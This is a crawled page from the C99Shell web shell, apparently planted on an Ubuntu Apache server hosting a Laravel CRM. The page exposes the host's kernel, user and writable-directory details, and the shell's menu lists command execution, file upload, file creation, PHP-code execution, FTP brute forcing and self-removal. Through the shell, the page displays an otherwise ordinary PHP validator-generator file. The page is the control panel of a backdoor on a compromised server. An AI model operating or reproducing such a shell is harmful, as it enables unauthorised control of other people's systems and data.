!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/prettus/l5-repository/src/Prettus/Repository/Generators/Commands/   drwxrwxrwx
Free 13.2 GB of 57.97 GB (22.77%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ValidatorCommand.php (2.42 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace Prettus\Repository\Generators\Commands;

use 
Illuminate\Console\Command;
use 
Illuminate\Support\Collection;
use 
Prettus\Repository\Generators\FileAlreadyExistsException;
use 
Prettus\Repository\Generators\ValidatorGenerator;
use 
Symfony\Component\Console\Input\InputArgument;
use 
Symfony\Component\Console\Input\InputOption;

/**
 * Class ValidatorCommand
 * @package Prettus\Repository\Generators\Commands
 */
class ValidatorCommand extends Command
{

    
/**
     * The name of command.
     *
     * @var string
     */
    
protected $name 'make:validator';

    
/**
     * The description of command.
     *
     * @var string
     */
    
protected $description 'Create a new validator.';

    
/**
     * The type of class being generated.
     *
     * @var string
     */
    
protected $type 'Validator';


    
/**
     * Execute the command.
     *
     * @see fire()
     * @return void
     */
    
public function handle(){
        
$this->laravel->call([$this'fire'], func_get_args());
    }

    
/**
     * Execute the command.
     *
     * @return void
     */
    
public function fire()
    {
        try {
            (new 
ValidatorGenerator([
                
'name' => $this->argument('name'),
                
'rules' => $this->option('rules'),
                
'force' => $this->option('force'),
            ]))->
run();
            
$this->info("Validator created successfully.");
        } catch (
FileAlreadyExistsException $e) {
            
$this->error($this->type ' already exists!');

            return 
false;
        }
    }


    
/**
     * The array of command arguments.
     *
     * @return array
     */
    
public function getArguments()
    {
        return [
            [
                
'name',
                
InputArgument::REQUIRED,
                
'The name of model for which the validator is being generated.',
                
null
            
],
        ];
    }


    
/**
     * The array of command options.
     *
     * @return array
     */
    
public function getOptions()
    {
        return [
            [
                
'rules',
                
null,
                
InputOption::VALUE_OPTIONAL,
                
'The rules of validation attributes.',
                
null
            
],
            [
                
'force',
                
'f',
                
InputOption::VALUE_NONE,
                
'Force the creation if file already exists.',
                
null
            
],
        ];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0047 ]--